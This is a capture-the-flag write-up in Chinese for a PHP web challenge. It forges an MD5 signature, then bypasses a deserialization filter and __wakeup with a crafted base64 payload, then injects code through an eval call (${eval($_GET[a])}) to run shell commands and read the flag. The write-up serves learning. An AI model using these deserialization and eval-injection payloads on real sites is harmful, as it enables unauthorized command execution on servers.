练习平台地址
竞赛中心
题目描述
题目内容
啥也没有就一个标签跳转
点击后的确发生了跳转
观察到url中有key和hash两个值,猜测hash是key的hash
查看源代码发现确实是
$hash=md5($sign.$key);the length of $sign is 8
解密得到$sign应该为kkkkkk01
构造122的hash
import hashlib# 要加密的原始字符串
data = "kkkkkk01122"# 创建MD5对象
md5_object = hashlib.md5()# 更新要加密的数据,注意这里如果数据是字符串需要先编码成字节类型,通常使用utf-8编码
md5_object.update(data.encode('utf-8'))# 获取十六进制表示的MD5哈希值
hash_value = md5_object.hexdigest()print(hash_value)
e1ebb04a0a78afe23e2d542e72a25005
传值
访问Gu3ss_m3_h2h2.php
代码分析
1.the secret is in the f15g_1s_here.php,flag在这个文件中
2.通过get接收var参数,base64后进行一个正则匹配——"/[oc]:\d+:/i"是一个忽略大小写的正则表达式,用于匹配以 “o” 或 “c” 开头,接着是冒号、一个或多个数字以及再一个冒号的格式的字符串,不满足条件程序结束,满足则反序列化var参数
解题思路
1.修改file属性为f15g_1s_here.php,序列化对象
2.修改属性数目(沉默__wakeup)
3.替换‘O:4’为‘O:+4’
4.base_64编码
脚本如下
<?php
class Demo
{private $file = 'f15g_1s_here.php';
}$x = new Demo;
$c = serialize($x);
$c = str_replace('O:4','O:+4',$c);
$c = str_replace(':1:',':2:',$c);
$d = base64_encode($c);
echo ($d);
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
传值
得到f15g_1s_here.php的源码
<?php
if (isset($_GET['val'])) {$val = $_GET['val'];eval('$value="' . addslashes($val) . '";');
} else {die('hahaha!');
}
代码分析
通过get接收一个val参数,通过addslashes对val进行转义
存在eval函数可以命令执行,这里使用变量绕过addslashes转义
payload构造
val = ${eval(echo `ls`;)}
#ls反引号括住
val=${eval($_GET[a])}&a=echo `ls`;
访问 f15g_1s_here.php并传参
成功执行命令
查看flag
flag
flag{a8b481b7-8f12-44ce-8b87-bb561afc61ba}
注意事项
1.传参建议在HackBar中传,不要直接在url中编辑
2.解密不要自己编写脚本碰撞,要在somd5.com上直接查询